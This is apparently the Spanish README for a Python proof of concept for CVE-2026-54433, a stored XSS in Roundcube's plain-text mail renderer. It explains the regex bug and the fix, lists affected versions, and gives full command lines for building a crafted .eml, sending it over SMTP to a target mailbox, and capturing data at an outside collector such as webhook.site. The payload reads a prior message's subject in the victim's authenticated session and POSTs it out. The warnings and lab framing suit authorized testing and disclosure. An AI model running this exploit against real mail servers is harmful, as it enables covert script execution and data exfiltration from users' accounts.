
PoC de Python configurable para CVE-2026-54433, un XSS almacenado en el renderizador de correo en texto plano de Roundcube. Genera un .eml manipulado, lo envía a través de SMTP y valida el impacto en un laboratorio Docker.

Este repositorio contiene una prueba de concepto configurable en Python para
CVE-2026-54433, una vulnerabilidad de cross-site scripting almacenado en el
renderizador de correos de texto plano de Roundcube. Un remitente no autenticado puede
entregar un mensaje text/plain manipulado. Cuando un usuario autenticado de Roundcube
abre o previsualiza ese mensaje, JavaScript controlado por el atacante se ejecuta en el
origen de Roundcube.
La PoC demuestra un impacto concreto en sesiones autenticadas sin recopilar cookies ni cuerpos de mensajes: lee el asunto de un mensaje antiguo y envía ese valor, el origen de Roundcube y el nombre de la tarea a un recolector autorizado como campos POST codificados en URL.
Advertencia
Esto es código de exploit activo. Úsalo solo en un laboratorio propio o contra un sistema y buzón para los que tengas autorización explícita de prueba. El modo de envío transmite un correo manipulado y puede revelar un asunto preexistente al recolector. Usa
--generate-onlypara inspección sin conexión.
Roundcube convierte las direcciones encontradas en mensajes de texto plano en
enlaces mailto: clicables. En las versiones afectadas, el sufijo de consulta
opcional se comparaba con \S+:
. '(\?\S+)?'
Debido a que \S incluye < y >, una cadena que comienza como una dirección de
correo podía hacer que el reemplazo de autoenlace consumiera una etiqueta HTML de
apertura dejando el resto para ser interpretado como marcado. Esta forma mínima
ilustra la primitiva:
[email protected]?]
La corrección oficial restringe el sufijo de consulta para que no pueda contener corchetes angulares ni espacios en blanco:
. '(\?[^<>\s]+)?'
El proveedor describe el problema como «zero-click» porque no se requiere ningún clic en el enlace. Abrir o previsualizar el correo estando autenticado sigue siendo la acción del cliente de correo que renderiza la carga útil.
| Línea de versión | Estado |
|---|---|
| Versiones de Roundcube anteriores a 1.6.17 | Afectadas |
| Roundcube 1.6.17 y 1.6.x posteriores | Corregidas |
| Roundcube 1.7.0 y 1.7.1 | Afectadas |
| Roundcube 1.7.2 y posteriores | Corregidas |
Las confirmaciones públicas de la corrección son:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Actualiza a Roundcube 1.6.17 / 1.7.2 o a una versión soportada más reciente.
text/plain.src relativo que falla para invocar
onerror. Una devolución de llamada al recolector aún requiere conectividad de red
del navegador.HttpOnly. Esta PoC no intenta
leerla. Su solicitud de mismo origen usa automáticamente la sesión autenticada, y
el asunto del mensaje separado es la prueba de impacto.El resultado demostrado es ejecución de JavaScript autenticada y acceso de lectura a un asunto de correo anterior. La toma de control de la cuenta, el robo arbitrario del cuerpo de mensajes y la ejecución de código en el servidor no son reclamados por este repositorio.
cve-2026-54433-poc.py es autocontenido y usa solo la biblioteca estándar de Python.
Este script:
text/plain RFC 5322 ordinario y manipulado;CVE-2026-54433;subject, origin y task a /capture/<random-marker>;La carga útil inserta el comentario DOM:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
También oculta el fragmento de dirección autoenlazada y el indicador de imagen rota mientras muestra el cuerpo benigno suministrado por el llamante.
Genera el correo sin realizar una conexión de red:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Esto escribe:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspecciona el mensaje generado antes de usar el modo de envío.
El valor de --collector puede ser un UUID de Webhook.site, una URL de captura o una
URL #!/view/. El script deriva los endpoints de captura y de sondeo.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Si SMTP_PASSWORD no está presente, el script solicita la contraseña sin mostrarla
ni almacenarla. Se puede seleccionar una variable con otro nombre mediante
--smtp-password-env NAME. Evita --smtp-password en sistemas multiusuario
porque los argumentos de línea de comandos pueden ser visibles en listados de
procesos o en el historial del shell.
El script solicita un YES explícito antes de enviar. En automatización de laboratorio
no interactiva y ya autorizada, usa --yes. Espera hasta 24 horas por una devolución
de llamada por defecto; usa --timeout SECONDS para cambiarlo.
Para un recolector que no sea Webhook.site, pasa la base de captura y el endpoint de estado JSON opcional:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
El collector.py incluido implementa los endpoints compatibles /capture/<marker> y
/status. Se enlaza al loopback por defecto. El despliegue real con HTTPS y el
control de acceso se dejan intencionalmente al evaluador autorizado.